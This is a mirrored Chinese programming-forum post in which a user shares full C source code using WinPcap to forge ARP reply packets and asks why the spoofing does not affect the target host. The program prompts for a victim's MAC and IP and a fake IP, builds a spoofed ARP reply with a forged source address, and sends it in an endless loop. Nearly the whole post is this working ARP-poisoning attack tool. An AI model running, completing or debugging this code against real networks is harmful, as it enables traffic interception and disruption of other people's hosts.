返回信息流#include<stdlib.h>
#include<stdio.h>
#include<pcap.h>
#pragma comment (lib,"wpcap.lib")
int main()
{
pcap_if_t *alldevs;//定义一个网络接口的一个节点
pcap_if_t *d;
int i=0,inum=0,j;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[60];
pcap_t *adhandle;
/*获得设备列表*/
if (pcap_findalldevs(&alldevs,errbuf)==-1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n",errbuf);
exit(1);
}
/*打印列表*/
for(d=alldevs;d!=NULL;d=d->next)
{
printf("%d %s",++i,d->name);
if(d->description)
printf("(%s)\n",d->description);
else
printf("(No description available)\n");
}
if(i==0)
{
printf("\nNo nterfaces found!?Make sure WinPcap is installed.\n");
return 0;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d",&inum);/*跳转到选中的适配器*/
for(d=alldevs,i=0;i<inum-1;d=d->next,i++);
/*打开适配器*/
if((adhandle=pcap_open_live(d->name,//设备名
65536,//要捕捉的数据包的部分(65535保证能捕获到不同数据链路层上的每个数据包的全部内容)
1,//混杂模式
1000,//读取超时时间
errbuf//错误缓冲池
))==NULL)
{
fprintf(stderr,"\nUnable to open the adapter.%s is not supported by WinPcap\n", d->name);
/*释放设备列表*/
pcap_freealldevs(alldevs);
return -1;
}
printf("输入所要攻击的主机的MAC地址\n");
scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);/*以太网目的地址*/
packet[6]=0x0d;
packet[7]=0x02;
packet[8]=0X19;
packet[9]=0x00;
packet[10]=0Xcf;
packet[11]=0x01;/*以太网源地址,当然是假的*/
/*帧类型,0806表示ARP协议*/
packet[12]=0x08;
packet[13]=0x06;
/*硬件类型,0001以太网*/
packet[14]=0x00;
packet[15]=0x01;
/*协议类型,0800IP协议*/
packet[16]=0x08;
packet[17]=0x00;
/*硬件地址长度*/
packet[18]=0x06;
/*协议地址长度*/
packet[19]=0x04;
/*op,01表示请求,02表示回复*/
packet[20]=0x00;
packet[21]=0x02;
/*发送端以太网地址,同首部中以太网源地址*/
for(i=22;i<28;i++)
{
packet[i]=packet[i-16];
}
/*发送端IP地址*/
printf("输入假的ip地址\n");
scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packet[30],&packet[31]);
/*目的以太网地址,同首部中目的地址*/
for(i=32;i<38;i++)
{
packet[i]=packet[i-32];
}
/*目的IP地址,手动输入*/
printf("输入所要攻击的主机的ip地址\n");
scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]);
/*填充数据*/
for(j=42;j<60;j++)
{
packet[j]=0x00;
}
/*在屏幕上输出数据报*/
for(i=0;i<60;i++)
{
printf("%x",packet[i]);
}
//int k=10;
/*发送数据报*/
while(1)
{
pcap_sendpacket(adhandle,packet,60);//一个装有要发送数据的缓冲区,要发送的长度,和一个适配器
printf("OK\n");
_sleep(1000);//k--;
}
pcap_close(adhandle);
return 0;
}
这是一条镜像帖。来源:北邮人论坛 / cpp / #74614同步于 2013/10/17
该镜像源已超过 30 天没有更新,可能在源站已被删除。
CPP机器人发帖
请问这个用c语言实现的arp欺骗代码,为什么不能让被攻击的主机
fighting369
2013/10/17镜像同步3 回复
订阅后,新回复会通过你的通知中心匿名送达。
3 条回复